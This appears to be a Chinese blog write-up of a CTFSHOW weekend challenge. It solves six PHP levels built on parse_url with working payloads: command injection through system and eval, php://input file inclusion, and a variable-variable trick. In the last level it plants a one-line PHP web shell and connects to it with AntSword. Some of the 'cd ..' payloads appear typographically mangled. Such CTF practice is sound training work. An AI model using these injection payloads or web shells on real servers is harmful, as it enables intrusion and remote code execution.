您现在的位置是:首页 >其他 >CTFSHOW_周末大挑战网站首页其他

CTFSHOW_周末大挑战

树脂与鸡脚 2024-06-17 10:20:00
简介CTFSHOW_周末大挑战

第一关

$data = parse_url($_GET['u']);
eval($data['host']);

这里呢先了解parse_url是干啥的

在这里插入图片描述

对照

在这里插入图片描述

只要知道了他每个数组对应的位置在哪里就好了

这里呢可以rce的

?u=//system(‘ls’);/

不过呢发现www目录下没有flag,只能往前面找,但是不可以由/,加了的话自动默认后面的是path了

在这里插入图片描述

所以搞一个命令拼接,利用;

?u=//system('cd … ; cd … ; cd … ; ls ');/

这样的话就可以看到根目录了

然后ls改成tac 就可以读取flag了

?u=//system(‘cd … ; cd … ; cd … ; tac flag_is_here.txt’);/

第二关

$data = parse_url($_GET['u']);
include $data['host'].$data['path'];

这里面有个include函数,所以我们可以使用文件包含

在这里插入图片描述

可以直接?u=//php:: //input 本来是只有一个冒号的,但是这里面会默认最后一个冒号后面是端口port,所以加一个绕过

在这里插入图片描述

然后直接rce即可

第三关

$data = parse_url($_GET['u']);
include $data['scheme'].$data['path'];

这里的scheme跟前面的表对比发现是个头(这里冒号后面不是//自动默认后面是path而不是host)

所以构造?u=php:: //input

这里这个payload是我在本地试了几次试出来的

在这里插入图片描述

然后直接rce即可

第四题


$data = parse_url($_GET['u']);
system($data['host']);

这里完全可以参考第一题的思路,直接就是system了都不用你再写了

?u=//cd … ; cd … ; cd … ; ls

发现flag文件后

?u=//cd … ; cd … ; cd … ; tac 1_f1ag_1s_h3re

第五题

extract(parse_url($_GET['u']));
include $$$$$$host;

这里呢还是include所以理论上还是要构造php://input

这里呢有个$$$$$$host

刚好可以借助这个例子

在这里插入图片描述

浅浅来构造一下
$host=scheme
$$host=$scheme=user
$$$host=$$scheme=$user=pass
$$$$host=$$$scheme=$$user=$pass=querry
$$$$$host=$$$$scheme=$$$user=$$pass=$query=fragment
$$$$$$host=$$$$$scheme=$$$$user=$$$pass=$$query=$fragment=#php://input
user://pass:querry@scheme/666?fragment#php://input

在url中#相当于截断了,所以呢这里需要转义%23

user://pass:query@scheme/666?fragment%23php://input

在这里插入图片描述

然后直接rce即可

第六关

$data = parse_url($_GET['u']);
file_put_contents($data['path'], $data['host']);

在这里插入图片描述

看函数,第一个是文件名,第二个是你要写进去的字符串

?u=// /var/www/html/flag.php

因为path前面必有一个/,所以我们从根目录写起

本来是想直接一句话的,结果没想到他这里面过滤了问号,卡了我好久

后面发现一句话的问号只是存在于他的标签之中,那如果我们用长标签的话岂不是就可以上马了

<script language="php"> eval($_POST[1]); </script>

加到前面就是?u=// <script language="php"> eval($_POST[1]); /var/www/html/flag.php

php中标签可以只写前面,后面可以省略,这里省略是因为由/,会影响原定的path

然后直接连蚁剑即可

在这里插入图片描述

这里的flag是我自己传的,真正的flag在根目录里

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。